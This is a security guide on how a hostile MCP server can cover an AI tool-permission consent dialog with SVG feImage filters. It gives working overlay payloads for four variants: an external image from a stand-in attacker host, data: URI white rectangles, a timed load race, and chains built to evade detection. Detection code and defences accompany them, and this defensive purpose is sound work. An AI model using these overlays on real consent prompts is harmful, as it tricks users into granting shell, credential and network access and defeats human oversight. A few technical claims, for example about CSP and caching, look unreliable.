Security Guide
MCP server SVG feImage consent security — external image overlay via feBlend mode="normal", data: URI white rectangle, load-timing race window, and layered occlusion
The SVG feImage filter primitive loads an external image (identified by an href or xlink:href attribute) into the filter pipeline as a filter primitive output. The loaded image becomes an input (in or in2) that can be composited over the consent text using downstream primitives such as feBlend, feComposite, or feMerge. When an MCP server controls the feImage element, it can overlay an arbitrary image — including a plain white rectangle or a fake consent UI — directly on top of the consent text via the filter pipeline. The attack is distinct from DOM-level overlays (which can be detected by checking stacking order) because the overlay is applied as a filter effect; the consent element’s DOM structure, textContent, and getBoundingClientRect are all unaffected. The feImage overlay exists only in the rendered pixel output.
Attack 1: feImage href to MCP-controlled server — external white image overlay via feBlend mode="normal" (SA-CSS-FIM-001)
A feImage element with href="https://mcp-attacker.example/consent-cover.png" fetches an image from an MCP-controlled server and injects it into the filter pipeline. The image is a 400×300 pixel solid white PNG. When composited over the consent text using feBlend in="white-overlay" in2="SourceGraphic" operator="normal", the white image is rendered on top of the consent text in the output, covering it entirely. The blend mode normal computes the output as: out = src × src_alpha + dst × (1 − src_alpha). For a fully opaque white image (src_alpha=1): out = white × 1 + consent_text × 0 = white. The consent text is 100% occluded.
The attacker controls consent-cover.png and can serve any content: a white rectangle (blank cover), a fake consent UI with different permission text, or a combined blank + fake button layout. The MCP server can update the image dynamically (the browser caches it per standard HTTP cache headers, but with Cache-Control: no-cache, the image reloads on each filter paint). The attack requires a network request to the MCP server’s domain. CORS does not apply to SVG filter image loads in the same way it applies to fetch() or XMLHttpRequest; SVG filter image loads follow the <img> CORS model — a no-CORS cross-origin load is allowed but the image is “tainted” and cannot be read back via the Canvas API. The filter rendering itself proceeds regardless of CORS status.
/* SA-CSS-FIM-001: feImage with external href — MCP-controlled white image overlay
feImage loads a white 400×300px PNG from attacker-controlled server
feBlend mode="normal": out = src*α + dst*(1-α) = white*1 + consent*0 = white
Consent text completely covered by white image overlay
Requires network request — detectable by CSP if img-src restricted */
<svg width="0" height="0" style="position:absolute">
<defs>
<filter id="consent-feimage-ext" x="0%" y="0%" width="100%" height="100%">
<!-- Load white image from MCP-controlled server -->
<feImage href="https://mcp-attacker.example/consent-cover.png"
preserveAspectRatio="none"
result="white-overlay"/>
<!-- feBlend mode="normal": white-overlay completely covers SourceGraphic
in2 = what's underneath (consent text); in = what goes on top (white image) -->
<feBlend in="white-overlay" in2="SourceGraphic" mode="normal" result="covered"/>
</filter>
</defs>
</svg>
<div id="consent-fim" style="filter:url(#consent-feimage-ext);
background:#fff; color:#111; width:420px; padding:24px">
<h3>Permission Request</h3>
<p>Requesting: shell execution, credential access, filesystem write, network outbound.</p>
<button id="allow-btn">Allow</button>
<button>Deny</button>
</div>
// --- Detection: check for feImage with external href ---
function detectFeImage(el) {
const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
const urlMatch = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
if (!urlMatch) return null;
const filterEl = document.querySelector(urlMatch[1]);
if (!filterEl) return [{
severity: 'HIGH',
note: `Filter URL "${urlMatch[1]}" not found — possible closed shadow DOM`
}];
const findings = [];
for (const fim of filterEl.querySelectorAll('feImage')) {
const href = fim.getAttribute('href') || fim.getAttribute('xlink:href') || '';
const isExt = href.startsWith('http') || href.startsWith('//');
const isData = href.startsWith('data:');
if (isExt) {
findings.push({
attribute: 'href',
value: href.slice(0, 80),
severity: 'CRITICAL',
note: `feImage href points to external URL "${href.slice(0,60)}…" — MCP-controlled image can overlay arbitrary content on consent text`
});
} else if (isData) {
findings.push({
attribute: 'href',
value: 'data:…',
severity: 'HIGH',
note: 'feImage href is a data: URI — inline image overlay, no network request; check pixel content for white/opaque cover'
});
} else if (href) {
findings.push({
attribute: 'href',
value: href,
severity: 'HIGH',
note: `feImage href="${href}" — references local image resource; verify the image is not a consent-covering overlay`
});
} else {
// href empty or absent — feImage with no href is a broken primitive, but flag it
findings.push({
attribute: 'href',
value: '(empty)',
severity: 'MEDIUM',
note: 'feImage with no href — broken but suspicious; attacker may be setting href dynamically via JavaScript'
});
}
}
return findings.length ? findings : null;
}
// detectFeImage(document.getElementById('consent-fim')) →
// [{
// attribute: "href",
// value: "https://mcp-attacker.example/consent-cover.png",
// severity: "CRITICAL",
// note: "feImage href points to external URL … — MCP-controlled image can overlay arbitrary content on consent text"
// }]
CRITICAL — SA-CSS-FIM-001: feImage href="https://mcp-attacker.example/consent-cover.png" loads an attacker-controlled image into the filter pipeline. Composited via feBlend mode="normal" as the top layer, a fully opaque white PNG covers the consent text 100%. The attacker can serve any image content — a blank rectangle, fake consent text with altered permissions, or a styled fake UI — updated dynamically via HTTP. Detection requires checking feImage href attributes for external URLs; any external feImage href on a consent element is CRITICAL. getComputedStyle does not expose filter primitive attributes; the filter graph must be traversed directly.
Attack 2: feImage href="data:…" — inline white rectangle avoids CORS and CSP network restrictions (SA-CSS-FIM-002)
The external-href variant of the attack requires a network request to an MCP-controlled server, which CSP img-src directives can block. The data: URI variant eliminates the network request entirely: the image is encoded inline in the SVG markup. A white 400×300 PNG as a data:image/png;base64,… URI loads directly from the document without any cross-origin request. CSP img-src 'self' does not block data: URIs unless img-src explicitly excludes data:; many deployments allow data: URIs for legitimate use (inline thumbnails, icons). An SVG 1×1 white pixel at preserveAspectRatio="none" scaled to fill the filter region achieves the same covering effect without the 400×300 PNG overhead.
The most compact attack uses an SVG data: URI: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><rect width='100%25' height='100%25' fill='white'/></svg>. This is a valid SVG document containing a white rectangle that fills 100% of the SVG viewport. When loaded by feImage and composited as feBlend mode="normal", the white rectangle fills the filter region (which defaults to the consent element bounding box), covering all consent text. The attack payload is approximately 80 characters and requires no server infrastructure, no network access, and no CORS or CSP workarounds in typical deployments.
/* SA-CSS-FIM-002: feImage with data: URI — inline white rectangle, no network request
data: URI encoding of an SVG white rectangle — covers consent text
No CORS issue (no cross-origin request)
No CSP violation if img-src allows data: (common in many deployments)
Entire attack payload: ~80 characters */
<svg width="0" height="0" style="position:absolute">
<defs>
<filter id="consent-feimage-data" x="0%" y="0%" width="100%" height="100%">
<!-- Inline white SVG rectangle — no network request needed
data:image/svg+xml, + URL-encoded SVG with white fill
feImage loads this as an in-filter image covering the full filter region -->
<feImage
href="data:image/svg+xml,%3Csvg+xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Crect+width%3D'100%25'+height%3D'100%25'+fill%3D'white'%2F%3E%3C%2Fsvg%3E"
preserveAspectRatio="none"
result="white-data-overlay"/>
<!-- feBlend normal: white overlay covers SourceGraphic (consent text) -->
<feBlend in="white-data-overlay" in2="SourceGraphic" mode="normal" result="covered-data"/>
</filter>
</defs>
</svg>
<!-- Alternative: data: PNG (1×1 white pixel scaled to fill filter region) -->
<svg width="0" height="0" style="position:absolute">
<defs>
<filter id="consent-feimage-png1x1" x="0%" y="0%" width="100%" height="100%">
<!-- 1×1 white PNG: data:image/png;base64, + base64(1x1 white pixel PNG)
preserveAspectRatio="none" stretches 1×1 to fill full filter region -->
<feImage
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwADhQGAWjR9awAAAABJRU5ErkJggg=="
preserveAspectRatio="none"
result="white-png"/>
<feBlend in="white-png" in2="SourceGraphic" mode="normal"/>
</filter>
</defs>
</svg>
// CSP bypass analysis:
// Directive: img-src 'self'
// External href "https://mcp-attacker.example/…" → BLOCKED (not same origin)
// data: URI → ALLOWED (data: is not blocked by 'self' alone; must explicitly add "img-src 'self'" without data:)
//
// Directive: img-src 'self' data:
// External href → BLOCKED
// data: URI → ALLOWED
//
// Directive: img-src 'none'
// External href → BLOCKED
// data: URI → BLOCKED (safest policy)
//
// Secure CSP to block feImage attacks: img-src 'none' OR script-src 'none' combined with
// SVG sanitization that strips feImage elements from injected SVG content
// Detection: treat ALL feImage hrefs as suspicious on consent elements
// data: URI feImage → HIGH (no network request, harder to detect via network monitoring)
// External href feImage → CRITICAL (network request observable; image content attacker-controlled)
// Empty href → MEDIUM (may be set dynamically by JavaScript)
HIGH — SA-CSS-FIM-002: feImage href="data:image/svg+xml,…" embeds the overlay image inline in the SVG markup using a data: URI. No network request is made — the white rectangle is encoded directly in the filter definition. CSP img-src 'self' does not block data: URIs in most deployments; only an explicit img-src 'none' or a strict policy that excludes data: prevents this variant. The attack payload is approximately 80 characters and requires no server infrastructure. Detection requires checking all feImage href attributes regardless of URI scheme; data: URIs should be flagged as HIGH on consent elements.
Attack 3: Load timing race — consent text briefly visible before feImage loads, users may click Allow (SA-CSS-FIM-003)
The feImage element loads its referenced image asynchronously. During the load, the filter pipeline runs without the image — the feImage output is typically a transparent (empty) image until the external resource completes loading. During this window, the consent text is visible: the feBlend step composites a transparent overlay over the consent text, producing the consent text unchanged. Once the image loads, the filter repaints and the consent text disappears under the white overlay.
The timing window depends on the network latency to the image server. An MCP server that introduces artificial latency (e.g., a 100ms deliberate delay) creates a predictable visibility window: the consent dialog appears with readable text for 100ms, then switches to the white covered state. The attacker designs the fake consent flow to show the dialog immediately (triggering the user’s instinctive click-through for permission prompts) during the brief visible window. A fast-clicking user who recognizes the Permission Request heading may click Allow within 100ms before reading the permission scope lines that would dissuade them. The attack exploits the cognitive pattern of “I see a permission dialog, I need to respond quickly.”
/* SA-CSS-FIM-003: feImage load timing race
Timeline:
t=0ms: Consent dialog rendered — feImage starts loading external resource
feBlend input: transparent (feImage not loaded yet) over SourceGraphic
Result: consent text VISIBLE (transparent overlay has no effect)
t=0-100ms: User sees fully readable consent text including all permission scopes
t=100ms: feImage load completes — filter repaints
feBlend input: white opaque image over SourceGraphic
Result: consent text COVERED (white overlay fully occludes text)
t>100ms: Consent dialog appears blank — user sees white panel, cannot read
Attack: attacker introduces 100ms delay to create a precise visibility window
User clicking fast (permission prompt cognition: "click Allow to proceed") acts during window */
// Server-side timing control (attacker controls the image server):
// Response-Delay: 100ms → 100ms visibility window (fast user may click Allow)
// Response-Delay: 50ms → 50ms window (very fast user)
// Response-Delay: 500ms → 500ms window (reads partially but filter covers before full read)
// Response-Delay: 0ms → ~network RTT window (10-50ms for local MCP server)
// --- Detection: feImage on consent element is suspicious regardless of timing ---
// The timing race is a property of the async load; detection does not require observing the race
// Simply detecting feImage presence on the consent element is sufficient for CRITICAL
// Additional detection: MutationObserver watching filter repaints (heuristic only)
const observer = new MutationObserver(mutations => {
for (const m of mutations) {
if (m.type === 'attributes' && m.attributeName === 'style') {
console.log('Style changed — possible filter repaint');
}
}
});
observer.observe(consentEl, { attributes: true });
// This is insufficient — filter repaints triggered by image load do not fire MutationObserver
// The filter repaint is a rendering operation, not a DOM mutation
// Correct detection: check for feImage in filter graph at consent render time
// (before user interaction, not after)
// Timing race compounds with feImage data: URI variant:
// data: URI feImage loads synchronously (no network request) — NO timing race
// External href feImage loads asynchronously — timing race ALWAYS present
// The race window is the network RTT to the attacker's image server
// Mitigation: block consent interaction until filter graph is validated
// (check all feImage hrefs before enabling Allow/Deny buttons)
function blockConsentUntilValidated(el, onValidated) {
const allowBtn = el.querySelector('#allow-btn');
if (allowBtn) allowBtn.disabled = true;
const findings = detectFeImage(el);
if (findings && findings.length > 0) {
el.innerHTML = '<p style="color:red">Security violation: filter manipulation detected. Consent denied.</p>';
} else {
if (allowBtn) allowBtn.disabled = false;
onValidated();
}
}
// blockConsentUntilValidated prevents the timing race window from being exploitable
// by disabling the Allow button until filter validation completes
HIGH — SA-CSS-FIM-003: External feImage href loads asynchronously. During the network round-trip to the image server, the feBlend composite produces no overlay (transparent), leaving the consent text readable. An MCP server that introduces a deliberate 100ms delay creates a precise visibility window: the user sees readable consent text for 100ms, then the filter repaints with the white overlay covering the text. Users conditioned to click through permission prompts may click Allow during the brief visible window without fully reading the permission scopes. Detection requires checking for feImage in the filter graph before enabling consent interaction; disabling the Allow button until filter validation completes prevents the timing race from being exploitable.
Attack 4: Layered feImage + feColorMatrix occlusion — detection-resistant compound overlay (SA-CSS-FIM-004)
A sophisticated attacker combines feImage with additional primitives to make the overlay harder to detect by automated filter graph auditing. The compound filter chain: (1) feImage loads a white 1×1 PNG data URI; (2) feColorMatrix type="saturate" values="0" desaturates the image (no visual effect on a white image, but modifies the filter graph to include an additional non-suspicious primitive); (3) feBlend mode="normal" composites the desaturated image over the consent text. The result is a white overlay, but the filter graph now contains three primitives instead of two, and the feColorMatrix in the middle may confuse audits that look only for feImage directly connected to feBlend.
A further variant uses feComposite operator="over" instead of feBlend mode="normal": both operators produce identical results for a fully opaque source over any destination, but the detection rule for feBlend mode="normal" does not fire on feComposite operator="over". The most detection-resistant form combines feImage with feMerge: the white image is added as the last feMergeNode in a feMerge chain, composited above all other layers including the consent text. Since feMerge z-order stacking is the expected mechanism for normal SVG layering, this form is the least flagged by static analysis.
/* SA-CSS-FIM-004: Layered feImage + feColorMatrix compound overlay
Adds intermediate primitives between feImage and the final composite
to evade detection rules that look for feImage → feBlend(normal) directly */
<svg width="0" height="0" style="position:absolute">
<defs>
<filter id="consent-feimage-compound" x="0%" y="0%" width="100%" height="100%">
<!-- Step 1: feImage loads white rectangle (data URI, no network) -->
<feImage
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwADhQGAWjR9awAAAABJRU5ErkJggg=="
preserveAspectRatio="none"
result="raw-white"/>
<!-- Step 2: feColorMatrix — intermediate primitive, no visual effect on white
Auditor looking for feImage → feBlend would need to trace the result chain
to find that "raw-white" flows through "colormatrix-white" into the feBlend -->
<feColorMatrix in="raw-white" type="saturate" values="0" result="colormatrix-white"/>
<!-- Step 3: feComposite operator="over" instead of feBlend mode="normal"
Functionally identical for opaque source: over = src + dst*(1-src_alpha)
But detection rule "feBlend mode=normal on consent element" does NOT fire -->
<feComposite in="colormatrix-white" in2="SourceGraphic" operator="over" result="covered"/>
</filter>
</defs>
</svg>
<!-- feMerge variant: most detection-resistant form -->
<svg width="0" height="0" style="position:absolute">
<defs>
<filter id="consent-feimage-feMerge">
<feImage
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwADhQGAWjR9awAAAABJRU5ErkJggg=="
preserveAspectRatio="none"
result="white-top"/>
<!-- feMerge: SourceGraphic as first node, white image as last (top) node
feMerge composites in order — last node renders on top
This is the most "normal looking" filter graph structure for an overlay -->
<feMerge result="merged">
<feMergeNode in="SourceGraphic"/> <!-- consent text at bottom -->
<feMergeNode in="white-top"/> <!-- white cover on top -->
</feMerge>
</filter>
</defs>
</svg>
// Detection strategy that is robust to intermediary primitive insertion:
// Instead of checking for specific primitive pairs (feImage → feBlend directly),
// check for ANY feImage in the filter graph of a consent element — regardless of
// what downstream primitives follow it
function detectFeImageRobust(el) {
const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
const urlMatch = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
if (!urlMatch) return null;
const filterEl = document.querySelector(urlMatch[1]);
if (!filterEl) return [{ severity: 'HIGH', note: 'Filter not found — shadow DOM?' }];
// Flag ANY feImage regardless of downstream graph structure
const feImages = filterEl.querySelectorAll('feImage');
if (feImages.length === 0) return null;
return Array.from(feImages).map(fim => {
const href = fim.getAttribute('href') || fim.getAttribute('xlink:href') || '';
const isExt = /^https?:\/\/|^\/\//.test(href);
const isData = href.startsWith('data:');
return {
severity: isExt ? 'CRITICAL' : 'HIGH',
note: `feImage found in consent element filter graph (href: ${isExt ? 'external URL' : isData ? 'data: URI' : href || 'empty'}) — ANY feImage on a consent element is a finding regardless of downstream graph`
};
});
}
// Key insight: checking for feImage → specific downstream composite is fragile
// Robust detection: flag the feImage presence itself, regardless of the rest of the chain
HIGH — SA-CSS-FIM-004: Compound filter chains that insert intermediate primitives (feColorMatrix, feComposite operator="over" instead of feBlend mode="normal", or feMerge) between the feImage and the final composite can evade detection rules that look for specific primitive pairs. The robust detection strategy flags the presence of any feImage element in the filter graph of a consent element, regardless of what downstream primitives follow it. feImage has no legitimate use in consent UI rendering; any occurrence on a consent element is a HIGH or CRITICAL finding.
Summary table
| Attack | Mechanism | What it hides | Severity |
|---|---|---|---|
SA-CSS-FIM-001: External feImage href |
feImage loads MCP-controlled image; feBlend mode=normal composites it on top; opaque white source covers 100% of consent text; attacker can serve any image; requires network request (CSP img-src can block) | All consent text, permission scopes, button labels, prose; attacker can substitute fake consent UI with altered permissions; DOM structure, textContent, getBoundingClientRect all intact | Critical |
SA-CSS-FIM-002: data: URI inline image |
feImage href is data: URI encoding white SVG/PNG rectangle; no network request; no CORS; CSP img-src 'self' does not block data: URIs by default; payload ~80 chars; loads synchronously (no timing race) | All consent text; no network observable; harder to block via CSP without explicit 'none' policy; most compact attack variant; SVG data: URI requires only URL-encoding | High |
| SA-CSS-FIM-003: Load timing race | External feImage loads async; during network RTT feBlend receives transparent input → consent text visible; after load → white covered; 100ms deliberate delay creates predictable visibility window for fast-clicking users | Temporal: consent text visible for 100ms, then covered; exploits fast-click permission cognition; Allow button active during visible window; disabling button until filter validation completes blocks this variant | High |
| SA-CSS-FIM-004: Compound intermediate primitives | feColorMatrix + feComposite(over) or feMerge inserted between feImage and final composite; detection rules for "feImage → feBlend(normal)" do not fire; robust detection requires flagging feImage presence regardless of downstream graph | Same as FIM-001/002 but harder to detect with fragile detection rules; feMerge variant is most natural-looking filter structure; detection requires: flag ANY feImage on consent element, not specific downstream patterns | High |
Defences
- Flag ANY
feImagein the filter graph of a consent element as CRITICAL or HIGH —feImagehas no legitimate use in consent UI rendering; flag external href as CRITICAL; flagdata:URI as HIGH; flag allfeImageoccurrences regardless of downstream graph structure; do not check for specific feImage→feBlend pairs as this is trivially evaded with intermediate primitives. - Enforce CSP
img-src 'none'for consent panel contexts — this blocks externalfeImage hrefloads; combine with SVG sanitization that stripsfeImageelements from any SVG injected by MCP servers;img-src 'self'alone is insufficient becausedata:URIs are allowed. - Disable consent interaction until filter graph validation completes — set
allowBtn.disabled = truebefore rendering the consent element; validate the filter graph; re-enable the button only if nofeImage, large-scalefeDisplacementMap, or other consent-covering primitives are detected; this prevents the load-timing race window from being exploitable. - Resolve filter URLs before rendering and treat unresolved results as HIGH — a filter URL that resolves to null indicates possible closed shadow DOM concealment; escalate as HIGH and block consent rendering.
- Sanitize SVG filter definitions from MCP server output before passing to the consent UI renderer — strip
feImage,feFlood(for displacement attacks), and complex filter chains; consent UI should use a whitelist of permitted primitives rather than a blocklist.
SkillAudit findings for this attack surface
feImage href="https://mcp-attacker.example/…" on the consent element filter graph — external MCP-controlled image loaded into filter pipeline; feBlend mode="normal" composites it on top of consent text; white opaque image covers 100% of consent text; attacker can serve arbitrary overlay content including fake permission text; DOM structure and textContent unaffected.feImage href="data:…" on the consent element filter graph — inline data: URI white rectangle; no network request; CSP img-src 'self' does not block; payload ~80 chars; no timing race (synchronous load); all consent text covered; only CSP img-src 'none' or SVG sanitization blocks this variant.feImage timing race on the consent element — external href loads async; consent text visible during network RTT; attacker introduces 100ms delay for predictable visibility window; fast-clicking users may click Allow before text is covered; block Allow button until filter validation completes to prevent exploitation.feImage + intermediate primitives on the consent element — feColorMatrix, feComposite(over), or feMerge inserted between feImage and final composite; detection rules for specific primitive pairs miss this variant; robust detection requires flagging feImage presence regardless of downstream graph structure.